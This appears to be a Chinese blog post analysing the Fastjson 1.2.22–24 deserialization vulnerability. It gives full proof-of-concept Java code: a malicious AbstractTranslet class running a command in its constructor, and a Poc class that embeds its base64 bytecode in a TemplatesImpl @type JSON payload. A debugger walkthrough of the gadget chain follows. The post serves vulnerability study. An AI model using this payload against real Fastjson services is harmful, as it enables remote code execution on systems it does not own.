Fastjson 1.2.22-24 反序列化漏洞分析(1)
Fastjson 1.2.22-24 反序列化漏洞分析(1)
前言
FastJson是alibaba的一款开源JSON解析库,可用于将Java对象转换为其JSON表示形式,也可以用于将JSON字符串转换为等效的Java对象。
影响版本:1.2.22-24
官方通告:https://github.com/alibaba/fastjson/wiki/security_update_20170315
补丁:https://github.com/alibaba/fastjson/commit/d075721cf396d5cb70e24c824b901e3a9a5b342b
漏洞分析
实验环境:jdk8u121
创建一个恶意类EvilPayload,继承AbstractTranslet
package com.yy.FastJson.payload01;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class EvilPayload extends AbstractTranslet {
public EvilPayload() throws IOException {
Runtime.getRuntime().exec("calc");
}
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
public static void main(String[] args) throws IOException {
EvilPayload t = new EvilPayload();
}
}
新建一个Poc类
package com.yy.FastJson.payload01;
import org.apache.commons.io.IOUtils;
import org.apache.commons.codec.binary.Base64;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
public class Poc {
public static String readClass(String cls){
ByteArrayOutputStream bos = new ByteArrayOutputStream();
try {
IOUtils.copy(new FileInputStream(new File(cls)), bos);
} catch (IOException e) {
e.printStackTrace();
}
String result = Base64.encodeBase64String(bos.toByteArray());
return result;
}
public static void bad_method() {
ParserConfig config = new ParserConfig();
String evil_path = "D:\\study\\java\\code\\vuln-master\\src\\main\\java\\com\\yy\\FastJson\\payload01\\EvilPayload.class";
String evil_code = readClass(evil_path);
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String json = "{\"@type\":\"" + NASTY_CLASS +
"\",\"_bytecodes\":[\""+evil_code+"\"]," +
"'_name':'yang'," +
"'_tfactory':{}," +
"\"_outputProperties\":{}}\n";
System.out.println(json);
Object obj = JSON.parseObject(json,Feature.SupportNonPublicField);
}
public static void main(String args[]) {
bad_method();
}
}
上面生成的text1为:
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAAD...这里是EvilPayload.class的字节码文件转换成base64的字符串"],'_name':'yang','_tfactory':{ },"_outputProperties":{ }}
解析:
Poc类中的readClass方法,把class文件读取,然后进行base64编码变成字符串。
@type后面指定了反序列化的类为TemplatesImpl类,其类的属性
_bytecodes设置为恶意类
_name设置为yang
_tfactory设置为空
_outputProperties也为空
这个poc利用的就是parseObject或者parse
poc调试:
这个调用链的入口是getOutputProperties方法,其中的Getter方法满足加入fieldList[]列表的条件,所以无论是用parseObject还是parse都会调用get方法

前面在fastjson中,会把evil_code进行base64解码后设置给_bytecodes
把断点下到newTransformer().getOutputProperties()

跟进newTransformer()方法,其调用了getTransletInstance()方法

跟进getTransletInstance()方法,其_class为null,所以会调用到defineTransletClasses()方法

跟进defineTransletClasses()方法

这个方法调用了defineClass()方法,可以从byte[]还原出一个Class对象,Class对象在调用newInstance()方法就会进行实例化

回到getTransletInstance()方法中,进行了newInstance()实例化,然后就会调用其构造方法触发执行。

注意点:
1)TemplatesImpl中_name的值不为null,才会调用到defineTransletClasses

2)_bytecodes为null会报异常

3)_tfactory会调用getExternalExtensionsMap()方法,如果为null会报错

_tfactory是在fastjson中被赋值的

图片来源:https://blog.csdn.net/qq_34101364/article/details/111706189
4)恶意类要继承AbstractTranslet类,因为这里会进行类型转换

总结:
fastjson在反序列化过程中,会getOutputProperties()方法,最后调用到newInstance()方法就会进行实例化触发构造函数的执行。
无论通过fastjson哪种方式解析json字符串,都会触发getOutputProperties()方法,但要注意的是,前提是开发需要代码中写了Feature.SupportNonPublicField选项,导致了利用点更加的苛刻。

参考:
https://www.anquanke.com/post/id/211035#h2-5
https://blog.csdn.net/qq_34101364/article/details/111706189
https://www.cnblogs.com/sijidou/p/13121332.html?ivk_sa=1024320u
Fastjson 1.2.22-24 反序列化漏洞分析(1)的更多相关文章
- Fastjson 1.2.22-24 反序列化漏洞分析
目录 0x00 废话 0x01 简单介绍 FastJson的简单使用 0x02 原理分析 分析POC 调试分析 0x03 复现过程 0x04 参考文章 0x00 废话 balabala 开始 0x01 ...
- Fastjson反序列化漏洞分析 1.2.22-1.2.24
Fastjson反序列化漏洞分析 1.2.22-1.2.24 Fastjson是Alibaba开发的Java语言编写的高性能JSON库,用于将数据在JSON和Java Object之间互相转换,提供两 ...
- Java安全之Fastjson反序列化漏洞分析
Java安全之Fastjson反序列化漏洞分析 首发:先知论坛 0x00 前言 在前面的RMI和JNDI注入学习里面为本次的Fastjson打了一个比较好的基础.利于后面的漏洞分析. 0x01 Fas ...
- Fastjson 1.2.22-24 反序列化漏洞分析(2)
Fastjson 1.2.22-24 反序列化漏洞分析(2) 1.环境搭建 我们以ubuntu作为被攻击的服务器,本机电脑作为攻击者 本机地址:192.168.202.1 ubuntu地址:192.1 ...
- Shiro 550反序列化漏洞分析
Shiro 550反序列化漏洞分析 一.漏洞简介 影响版本:Apache Shiro < 1.2.4 特征判断:返回包中包含rememberMe=deleteMe字段. Apache Shiro ...
- Java反序列化漏洞分析
相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 htt ...
- ref:Java安全之反序列化漏洞分析(简单-朴实)
ref:https://mp.weixin.qq.com/s?__biz=MzIzMzgxOTQ5NA==&mid=2247484200&idx=1&sn=8f3201f44e ...
- Java安全之Shiro 550反序列化漏洞分析
Java安全之Shiro 550反序列化漏洞分析 首发自安全客:Java安全之Shiro 550反序列化漏洞分析 0x00 前言 在近些时间基本都能在一些渗透或者是攻防演练中看到Shiro的身影,也是 ...
- Java安全之Cas反序列化漏洞分析
Java安全之Cas反序列化漏洞分析 0x00 前言 某次项目中遇到Cas,以前没接触过,借此机会学习一波. 0x01 Cas 简介 CAS 是 Yale 大学发起的一个开源项目,旨在为 Web 应用 ...
随机推荐
- 爱了,字节跳动大神最佳整理:582页Android NDK七大模块学习宝典,理论与实践
前言 时至今日,短视频App可谓是如日中天,一片兴兴向荣.随着短视频的兴起,音视频开发也越来越受到重视,而且薪资水涨船高,以一线城市为例,音视频工程开发的薪资比Android应用层开发高出40%. 但 ...
- 百度地图API开发的快速使用和大量坐标点操作【点聚合,海量点,mapv】
快速上手 注意:本篇文章代码是基于 百度地图 JavaScript API v3.0 的条件下编写,GL版本可能稍有变化. 地图嘛,很重要的一部分就是坐标经纬度了: 经度: 英文 longitude ...
- Linux进程理解与实践(五)细谈守护进程
一. 守护进程及其特性 守护进程最重要的特性是后台运行.在这一点上DOS下的常驻内存程序TSR与之相似.其次,守护进程必须与其运行前的环境隔离开来.这些环境包括未关闭的文件描述符,控制终端, ...
- putty编译过程
在Win7上用Visual Studio编译putty源代码. 安装vs2005,只安装c++和.net framework sdk即可: 将putty-src.zip解压到e:\MyDoc\VSPr ...
- WPF 线程开启等待动画
public static Dictionary<string, object> Dic = new Dictionary<string, object>();//定义一个字典 ...
- 【笔记】KNN之分类准确度
分类准确度 分类准确度 以sklearn中的手写数字datasets.load_digits为例,其是8*8的图形,具有64个特征值,类别由0到9 我们挑选出666这个图形,将其可视化 X = dig ...
- [06 Go语言基础-包]
[06 Go语言基础-包] 包 什么是包,为什么使用包? 到目前为止,我们看到的 Go 程序都只有一个文件,文件里包含一个 main 函数和几个其他的函数.在实际中,这种把所有源代码编写在一个文件的方 ...
- NOIP 模拟 $23\; \rm 赛$
题解 将所有物品分成四类,分别为两人共同喜欢的,只有一人喜欢的,没人喜欢的. 首先,先从两人共同喜欢的物品里找出 \(k\) 个,这时,就要从剩余的找出 \(\rm m-k\) 个,而且是最小的. 用 ...
- Vmware15的安装以及Ubunt的在虚拟机上的安装
一.vmware15安装 1.百度网盘地址 链接:https://pan.baidu.com/s/1Lgez57n50QEW97HNdYZCfQ 提取码:9wvy 2.下载到本地后 3.双击安装程序 ...
- QT怎样插入图片
工具/原料 QT designer 方法/步骤 1 首先创建一个Manwindow窗口 拖一个label到窗口上 把文字去掉,然后把label放大 找到stylesheet一栏 ...